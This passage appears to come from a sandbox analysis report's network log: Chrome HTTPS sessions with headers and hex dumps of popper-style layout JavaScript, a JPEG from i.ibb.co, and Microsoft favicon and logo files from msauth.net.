5b 65 5d 26 26 21 74 2e 65 73 63 61 70 65 57 69 74 68 52 65 66 65 72 65 6e 63 65 26 26 28 6e 3d 5f 28 70 5b 6f 5d 2c 
69 5b 65 5d 2d 28 27 72 69 67 68 74 27 3d 3d 3d 65 3f 70 2e 77 69 64 74 68 3a 70 2e 68 65 69 67 68 74 29 29 29 2c 70 
65 28 7b 7d 2c 6f 2c 6e 29 7d 7d 3b 72 65 74 75 72 6e 20 6e 2e 66 
Data Ascii: var o=p[e];return p[e]<i[e]&&!t.escapeWithReference&&(o=J(p[e],i[e])),pe({},e,o)},secondary:function(e){var 
o='right'===e?'left':'top',n=p[o];return p[e]>i[e]&&!t.escapeWithReference&&(n=_(p[o],i[e]-('right'===e?p.width:p.height
))),pe({},o,n)}};return n.f

2022-05-26 11:45:34 UTC 477 IN Data Raw: 64 5b 6d 5d 2b 75 3e 73 5b 67 5d 26 26 28 65 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 5b 6d 5d 2b 3d 64 
5b 6d 5d 2b 75 2d 73 5b 67 5d 29 2c 65 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 65 2e 6f 66 66 73 65 74 
73 2e 70 6f 70 70 65 72 29 3b 76 61 72 20 62 3d 64 5b 6d 5d 2b 64 5b 6c 5d 2f 32 2d 75 2f 32 2c 77 3d 74 28 65 2e 69 6e 
73 74 61 6e 63 65 2e 70 6f 70 70 65 72 29 2c 79 3d 70 61 72 73 65 46 6c 6f 61 74 28 77 5b 27 6d 61 72 67 69 6e 27 2b 
66 5d 2c 31 30 29 2c 45 3d 70 61 72 73 65 46 6c 6f 61 74 28 77 5b 27 62 6f 72 64 65 72 27 2b 66 2b 27 57 69 64 74 68 2
7 5d 2c 31 30 29 2c 76 3d 62 2d 65 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 5b 6d 5d 2d 79 2d 45 3b 72 65 74 75 72 
6e 20 76 3d 4a 28 5f 28 73 5b 6c 5d 2d 75 2c 76 29 2c 30 29 2c 65 
Data Ascii: d[m]+u>s[g]&&(e.offsets.popper[m]+=d[m]+u-s[g]),e.offsets.popper=c(e.offsets.popper);var b=d[m]+d[l]/2-u/2,w
=t(e.instance.popper),y=parseFloat(w['margin'+f],10),E=parseFloat(w['border'+f+'Width'],10),v=b-e.offsets.popper[m]-y-E;
return v=J(_(s[l]-u,v),0),e

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:45:34 UTC 479 IN Data Raw: 7c 79 29 26 26 28 65 2e 66 6c 69 70 70 65 64 3d 21 30 2c 28 6d 7c 7c 62 29 26 26 28 69 3d 70 5b 64 2b 31 
5d 29 2c 79 26 26 28 72 3d 4b 28 72 29 29 2c 65 2e 70 6c 61 63 65 6d 65 6e 74 3d 69 2b 28 72 3f 27 2d 27 2b 72 3a 27 
27 29 2c 65 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 73 65 28 7b 7d 2c 65 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 
65 72 2c 53 28 65 2e 69 6e 73 74 61 6e 63 65 2e 70 6f 70 70 65 72 2c 65 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6
e 63 65 2c 65 2e 70 6c 61 63 65 6d 65 6e 74 29 29 2c 65 3d 43 28 65 2e 69 6e 73 74 61 6e 63 65 2e 6d 6f 64 69 66 69 
65 72 73 2c 65 2c 27 66 6c 69 70 27 29 29 7d 29 2c 65 7d 2c 62 65 68 61 76 69 6f 72 3a 27 66 6c 69 70 27 2c 70 61 64 
64 69 6e 67 3a 35 2c 62 6f 75 6e 64 61 72 69 65 73 45 6c 65 6d 65 6e 74 
Data Ascii: |y)&&(e.flipped=!0,(m||b)&&(i=p[d+1]),y&&(r=K(r)),e.placement=i+(r?'-'+r:''),e.offsets.popper=se({},e.offset
s.popper,S(e.instance.popper,e.offsets.reference,e.placement)),e=C(e.instance.modifiers,e,'flip'))}),e},behavior:'flip',
padding:5,boundariesElement

2022-05-26 11:45:34 UTC 480 IN Data Raw: 74 61 6e 63 65 2e 70 6f 70 70 65 72 29 2c 66 3d 67 28 6c 29 2c 6d 3d 7b 70 6f 73 69 74 69 6f 6e 3a 6e 2e 70 
6f 73 69 74 69 6f 6e 7d 2c 68 3d 7b 6c 65 66 74 3a 58 28 6e 2e 6c 65 66 74 29 2c 74 6f 70 3a 58 28 6e 2e 74 6f 70 29 2c 
62 6f 74 74 6f 6d 3a 58 28 6e 2e 62 6f 74 74 6f 6d 29 2c 72 69 67 68 74 3a 58 28 6e 2e 72 69 67 68 74 29 7d 2c 63 3d 27 
62 6f 74 74 6f 6d 27 3d 3d 3d 6f 3f 27 74 6f 70 27 3a 27 62 6f 74 74 6f 6d 27 2c 75 3d 27 72 69 67 68 74 27 3d 3d 3d 69 3f 
27 6c 65 66 74 27 3a 27 72 69 67 68 74 27 2c 62 3d 57 28 27 74 72 61 6e 73 66 6f 72 6d 27 29 3b 69 66 28 64 3d 27 62 
6f 74 74 6f 6d 27 3d 3d 63 3f 2d 66 2e 68 65 69 67 68 74 2b 68 2e 62 6f 74 74 6f 6d 3a 68 2e 74 6f 70 2c 73 3d 27 72 69 
67 68 74 27 3d 3d 75 3f 2d 66 2e 77 69 64 74 68 2b 68 2e 
Data Ascii: tance.popper),f=g(l),m={position:n.position},h={left:X(n.left),top:X(n.top),bottom:X(n.bottom),right:X(n.rig
ht)},c='bottom'===o?'top':'bottom',u='right'===i?'left':'right',b=W('transform');if(d='bottom'==c?-f.height+h.bottom:h.t
op,s='right'==u?-f.width+h.

2022-05-26 11:45:34 UTC 481 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

32 192.168.2.4 49757 51.210.32.103 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:34 UTC 481 OUT GET /pw30spQ/90.jpg HTTP/1.1
Host: i.ibb.co
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

2022-05-26 11:45:34 UTC 482 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 26 May 2022 11:45:34 GMT
Content-Type: image/jpeg
Content-Length: 20329
Connection: close
Last-Modified: Wed, 11 Aug 2021 23:09:47 GMT
Expires: Thu, 31 Dec 2037 23:55:55 GMT
Cache-Control: max-age=315360000
Cache-Control: public
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, OPTIONS
Accept-Ranges: bytes

2022-05-26 11:45:34 UTC 482 IN Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 10 66 45 78 69 66 00 00 4d 4d 00 2a 00 00 
00 08 00 03 01 12 00 03 00 00 00 01 00 01 00 00 87 69 00 04 00 00 00 01 00 00 08 3e ea 1c 00 07 00 00 08 0c 00 00 00 
32 00 00 00 00 1c ea 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: JFIFHHfExifMM*i>2

2022-05-26 11:45:34 UTC 486 IN Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: 

2022-05-26 11:45:34 UTC 490 IN Data Raw: 40 12 53 81 cb 67 d2 9b 45 00 14 51 45 00 58 a2 8a 28 02 9d 14 51 5c 67 de 4a 5d 10 51 45 39 57 22 aa 31 
09 4a c3 68 a2 8a a3 30 a0 9c 0a 28 a9 e5 b8 12 53 95 73 42 2e 69 d5 51 d0 99 11 d1 4d 46 cd 48 82 b4 24 9a 80 70 68 
a4 fb ab 5a 72 f5 21 bb e8 24 74 49 44 74 49 40 86 d1 45 14 13 29 12 51 45 14 12 14 51 48 cd 8a 08 94 ac 2c cf c6 2a 3a 
2a 48 d3 e5 cd 6d a4 4c 89 28 a2 8a 93 40 a0 9c 0a 28 a0 06 97 c8 a1 05 09 d6 9d 5a 18 4e 57 d0 92 9a df 7c 53 d5 70 9
4 94 19 05 14 51 40 00 3f 30 a9 2a 3a 90 1f 94 50 01 45 14 50 01 45 14 e5 5c 8a 09 94 86 d1 45 14 12 14 51 45 00 48 06 
4d 48 c9 95 a6 27 de a9 4b f1 55 18 91 e4 47 25 36 95 d8 52 55 08 28 a2 8a 00 03 66 4a 92 a3 a3 76 e1 51 29 58 99 48 
28 a2 8a c8 91 58 e4 d2 51 4a 17 75 1b 80 95 1d 49 51 d0 44 a5 60 a2 
Data Ascii: @SgEQEX(Q\gJ]QE9W"1Jh0(SsB.iQMFH$phZr!$tIDtI@E)QEQH,*:*HmL(@(ZNW|SpQ@?0*:PEPE\
EQEHMH'KUG%6RU(fJvQ)XH(XQJuIQD`
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2022-05-26 11:45:34 UTC 494 IN Data Raw: 3a d4 d5 32 89 32 95 82 8a 92 8a 98 c4 9d c2 8a 5d c6 92 a8 37 19 8c 9e 29 2a 4a 2a 65 10 1b 8c 8f ee d3 a8 
07 34 51 18 80 13 81 40 39 14 8f f7 68 4f bb 58 d5 dc da 9f c3 72 58 8e 16 82 72 69 13 ee d2 d6 65 05 14 51 40 05 39 5b 
02 9b 45 00 48 0e 45 14 89 f7 69 68 06 21 7c 1a 55 94 0f 5a 63 fd ea 4a a4 8c de a4 85 b7 73 40 19 34 89 f7 69 41 c1 a9 
60 04 60 d1 41 39 34 50 03 95 f0 2a 45 7d f5 0e 69 f1 36 2b 44 12 48 73 36 69 07 4a 28 a0 cc 28 a2 8a 00 28 03 9a 28 
a9 71 4c 99 0a 17 22 97 65 2a 7d da 5a 8e 54 48 dd 94 2a e0 d3 a9 19 b0 28 e5 48 06 b7 de a8 df ef 53 e9 8f f7 aa 09 94 
53 dc 4a 28 a2 83 1d 82 8a 28 a0 02 8a 28 a0 06 3f de a4 a5 7f bd 49 5a 23 44 14 51 45 00 48 3a 53 bf e5 9d 34 74 a2 b1 
94 91 1c ac 28 a2 8a a1 0a c3 06 92 8c e6 8a cf 70 23 a2 8a 
Data Ascii: :22]7)*J*e4Q@9hOXrXrieQ@9[EHEih!|UZcJs@4iA``A94P*E}i6+DHs6iJ((((qL"e*}ZTH*(HSSJ(((?IZ#DQ
EH:S4t(p#

2022-05-26 11:45:34 UTC 498 IN Data Raw: 52 b0 8b 1b 66 83 13 1f e2 a9 82 71 47 97 41 3c c4 3e 4b 7f 7a 8f 25 bf bd 53 79 74 14 c0 a0 39 88 d8 91 48 
1b 15 2e 15 a8 28 31 41 51 21 32 e4 53 4c 99 a3 cb a3 cb 38 14 14 3a 9d 96 a7 51 41 3c c6 02 8c 9a 5f 2e 84 eb 4e af ba 
89 e2 91 d2 04 52 dd 69 49 c0 a6 6c 35 a7 28 9b b0 bb 29 0c 78 ff 00 f5 53 e8 aa 20 af 45 4c d0 28 fe 2a 4f 24 50 04 4d f3 
d3 7c ba 75 14 ee c0 45 5d b4 9e 5d 3a 8a 2e c0 6f 97 47 97 56 3c b5 f4 a3 cb 5f 4a 7c c0 31 62 cd 2b 41 81 de a4 5f 96 
9a e7 8a cf 7d 80 75 14 d4 6c d4 88 b9 a7 b0 ee c3 cb a3 1f ec fe b4 ea 2a 2d 72 e5 20 a2 8a 33 8a 99 69 a0 05 14 51 52 
03 bc ba 3c ba 7a ae ea 4a 0a 8c 82 8a 28 a0 a0 a4 66 c5 2d 31 cf cd 41 32 25 7f bb fc fd a9 b5 21 e5 7e 6e bd bd ea 37 
46 f4 ae 7a d4 5c dd d1 bd 1a ca 2a cc 28 a7 44 3e 43 
Data Ascii: RfqGA<>Kz%Syt9H.(1AQ!2SL8:QA<_.NRiIl5()xS EL(*O$PM|uE]]:.oGV<_J|1b+A_}ul*-r 3iQR<zJ(f-1A
2%!~n7Fz\*(D>C

2022-05-26 11:45:34 UTC 502 IN Data Raw: 7e b4 79 75 9b 66 f1 8d d0 ea 28 23 06 98 c7 2d 59 cf 61 c8 73 0c 8a 51 c0 a0 1c 8a 2b 11 25 70 a2 9c a9 91 
4a 46 45 67 b9 b2 8d 86 b1 c9 a4 a2 95 57 75 54 a5 d0 88 c7 ab 12 8a 56 5d b4 d6 6d b5 26 82 83 91 45 37 cc a7 a6 1b 
b5 46 a6 89 89 4a 9f 7a 92 9c 9d 69 00 bb 7d cd 27 97 fe d3 7e 74 ea 28 27 98 0a 83 da 9a 7e 43 d2 86 6c 54 65 d9 8d 
4c a5 62 89 07 0f 4e 61 f3 53 58 7f 15 2b 3f 4a c7 73 41 36 7b 2f e5 46 cf 65 fc a9 d4 13 81 40 0d 65 5d bd 3f 4a 8c af cd 
f7 7b d3 a9 a0 66 4a cd ea 03 a8 42 bb 7f cf 34 53 76 73 51 28 dc 07 53 97 eb 49 8f 97 34 95 94 69 b7 ab 2a 52 b0 51 45 
15 d0 48 52 86 39 a5 4e 94 ea ae 5b 80 51 45 15 40 15 1e d6 ff 00 22 9c e7 6a d4 7e 65 04 f3 1f ff d9 
Data Ascii: ~yuf(#-YasQ+%pJFEgWuTV]m&E7FJzi}'~t('~ClTeLbNaSX+?JsA6{/Fe@e]?J{fJB4SvsQ(SI4i*RQEHR9N[QE
@"j~e

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

33 192.168.2.4 49761 13.107.219.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:35 UTC 502 OUT GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1
Host: aadcdn.msauth.net
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

2022-05-26 11:45:35 UTC 502 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=31536000
Content-Length: 17174
Content-Type: image/x-icon
Content-MD5: EuPayFgGHQiAI7K9SOL6lg==
Last-Modified: Sun, 18 Oct 2020 03:02:03 GMT
ETag: 0x8D8731230C851A6
Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
X-Cache: TCP_HIT
x-ms-request-id: d93f433b-801e-0037-14c6-70c76c000000
x-ms-version: 2009-09-19
x-ms-lease-status: unlocked
x-ms-blob-type: BlockBlob
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ET
ag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
Access-Control-Allow-Origin: *
X-Azure-Ref-OriginShield: 0ukOPYgAAAADaVPY4TwrgSJ2VxZBmPO2GQU1TMDRFREdFMTkxNwAzOWExMmY3ZS0
4OTlmLTQ2Y2YtYTZkMC0yNGJiYmEyN2Q5NTY=
X-Azure-Ref: 0X2iPYgAAAACsuuTKr0DkTISsM9HQhYj4RlJBMjMxMDUwNDE3MDUxADM5YTEyZjdlLTg5OWYtNDZj
Zi1hNmQwLTI0YmJiYTI3ZDk1Ng==
Date: Thu, 26 May 2022 11:45:34 GMT
Connection: close

2022-05-26 11:45:35 UTC 503 IN Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 
28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 
00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 
00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 0
0 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 
22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 
Data Ascii: h(fHH(00h6  =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
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2022-05-26 11:45:35 UTC 518 IN Data Raw: 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 ff ff ff ff ff ff 00 00 ff ff ff ff ff ff 
00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 
00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 
00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 
80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 
01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 
00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 
Data Ascii: ( @

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

34 192.168.2.4 49770 13.107.219.45 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:36 UTC 520 OUT GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: aadcdn.msauth.net

2022-05-26 11:45:36 UTC 521 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=31536000
Content-Length: 17174
Content-Type: image/x-icon
Content-MD5: EuPayFgGHQiAI7K9SOL6lg==
Last-Modified: Sun, 18 Oct 2020 03:02:03 GMT
ETag: 0x8D8731230C851A6
Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
X-Cache: TCP_HIT
x-ms-request-id: 79827653-301e-008c-7c5c-70943f000000
x-ms-version: 2009-09-19
x-ms-lease-status: unlocked
x-ms-blob-type: BlockBlob
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ET
ag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
Access-Control-Allow-Origin: *
X-Azure-Ref-OriginShield: 0e2aOYgAAAAAvLkUClhT6S4uFN39GggswQU1TMDRFREdFMTgwNgAzOWExMmY3ZS0
4OTlmLTQ2Y2YtYTZkMC0yNGJiYmEyN2Q5NTY=
X-Azure-Ref: 0YGiPYgAAAADQQTuP9m1eTptUQTbNomWXRlJBMjMxMDUwNDIwMDExADM5YTEyZjdlLTg5OWYtNDZj
Zi1hNmQwLTI0YmJiYTI3ZDk1Ng==
Date: Thu, 26 May 2022 11:45:35 GMT
Connection: close

2022-05-26 11:45:36 UTC 522 IN Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 
28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 
00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 
00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 0
0 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 
22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 
Data Ascii: h(fHH(00h6  =@(A(("P"""""""""""""""""""""""""""""" 333333333333333

2022-05-26 11:45:36 UTC 537 IN Data Raw: 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 ff ff ff ff ff ff 00 00 ff ff ff ff ff ff 
00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 
00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 
00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 
80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 
01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 
00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 
Data Ascii: ( @

Session ID Source IP Source Port Destination IP
Destination
Port

Process

35 192.168.2.4 49772 192.229.221.185 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:36 UTC 520 OUT GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: logincdn.msauth.net
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2022-05-26 11:45:36 UTC 538 IN HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding
Age: 30335650
Cache-Control: public, max-age=31536000
Content-MD5: nzaLxFgP7ZB3dfMcaybWzw==
Content-Type: image/svg+xml
Date: Thu, 26 May 2022 11:45:36 GMT
Etag: 0x8D79ED29CF0C29A
Last-Modified: Wed, 22 Jan 2020 00:32:50 GMT
Server: ECAcc (frc/8E9E)
Vary: Accept-Encoding
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: ae00a5ef-301e-0050-690f-5d9d0f000000
x-ms-version: 2009-09-19
Content-Length: 3651
Connection: close

2022-05-26 11:45:36 UTC 539 IN Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 
76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 
30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 
22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 
39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 
39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 
36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 
Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title>
<path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37
.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

36 192.168.2.4 49771 51.210.32.103 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:36 UTC 520 OUT GET /pw30spQ/90.jpg HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: i.ibb.co

2022-05-26 11:45:36 UTC 543 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 26 May 2022 11:45:36 GMT
Content-Type: image/jpeg
Content-Length: 20329
Connection: close
Last-Modified: Wed, 11 Aug 2021 23:09:47 GMT
Expires: Thu, 31 Dec 2037 23:55:55 GMT
Cache-Control: max-age=315360000
Cache-Control: public
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, OPTIONS
Accept-Ranges: bytes

2022-05-26 11:45:36 UTC 543 IN Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 10 66 45 78 69 66 00 00 4d 4d 00 2a 00 00 
00 08 00 03 01 12 00 03 00 00 00 01 00 01 00 00 87 69 00 04 00 00 00 01 00 00 08 3e ea 1c 00 07 00 00 08 0c 00 00 00 
32 00 00 00 00 1c ea 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: JFIFHHfExifMM*i>2

2022-05-26 11:45:36 UTC 547 IN Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
